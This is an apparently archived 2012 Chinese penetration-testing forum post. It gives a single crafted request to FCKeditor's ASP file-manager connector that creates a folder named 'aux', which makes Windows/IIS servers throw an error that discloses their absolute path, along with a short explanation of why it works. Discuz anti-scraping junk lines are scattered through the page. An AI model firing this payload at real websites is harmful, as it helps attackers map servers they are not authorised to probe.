中国网络渗透测试联盟
标题:
最新FCKeditor爆绝对路径漏洞
[打印本页]
作者:
admin
时间:
2012-11-21 13:39
标题:
最新FCKeditor爆绝对路径漏洞
代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
9 C& f1 J( I6 O: D# J5 R
3 b5 D) a7 m( l$ m* p- s
- r) |5 t- y3 X" o3 h( c. V. b# ^
版本未测试。。。
+ T! c6 Y3 Z! }5 J
) m. [2 Y- a$ r9 H8 h; W6 d
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
! e# `' D" V( H! t/ w
, r6 s Y3 p8 _; Z
* X, i5 Z, }' F5 C) h
听说IIS都可以。。
}0 Y! @) i$ W' _
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2